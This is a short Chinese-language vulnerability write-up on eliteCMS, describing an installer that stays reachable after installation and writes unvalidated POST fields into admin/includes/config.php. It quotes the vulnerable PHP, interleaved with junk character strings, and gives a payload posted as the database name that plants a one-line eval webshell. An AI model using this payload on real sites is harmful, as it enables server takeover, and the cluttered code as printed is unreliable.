eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：

% m/ A5 T1 j- S0 x5 ]...
$ t# A7 f5 t0 ^6 N  [% y& ielseif ($_GET['step'] == "4") {
4 F8 H0 e' b+ {; V3 E. o    $file = "../admin/includes/config.php";
+ u: x4 V2 C  ?. S9 T/ [7 n    $write = "<?php\n";
    $write .= "/**\n";
+ e4 H8 G" m! t8 Z' L    $write .= "*\n";
- G7 P8 r: G9 _$ ~1 v    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
" z- S6 Z( y  ], a; l" c    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
6 n& R& q* G  }  V8 R    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
7 X# o/ Y2 {! E' `, F9 {/ Q0 w    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
1 s( e/ D  Y( z6 r- M6 M9 g+ W( Q3 Z    $write .= "if (!\$connection) {\n";
7 z: [9 ^/ o3 K* S, @# [9 F    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
; V! k+ ^6 h" y5 ~3 i1 v+ t# C    $write .= "        \n";
% A8 f0 I' X6 \  f8 b# E. i" a    $write .= "} \n";
: Z' N- U* p5 B( O' u! L$ `    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
: p$ ^1 W* ^$ _+ I% E" @    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
% V5 p# l0 w8 {' G0 F" N* G    $write .= "        \n";
1 C% o! F; C2 s& l; y5 x/ U& t    $write .= "} \n";
    $write .= "?>\n";

    $writer = fopen($file, 'w');
1 w$ K: n( U5 J# D) I! p...
0 h' J2 e  o  q$ L% b" i! u
! }! I* O3 H, }0 r在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
! @( {$ \$ p; U0 ~- v$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$ N4 @/ [( J% T" [$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

; O5 w9 o5 Z, }& F取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php
2 k: @4 T4 Y" b# j4 O: ?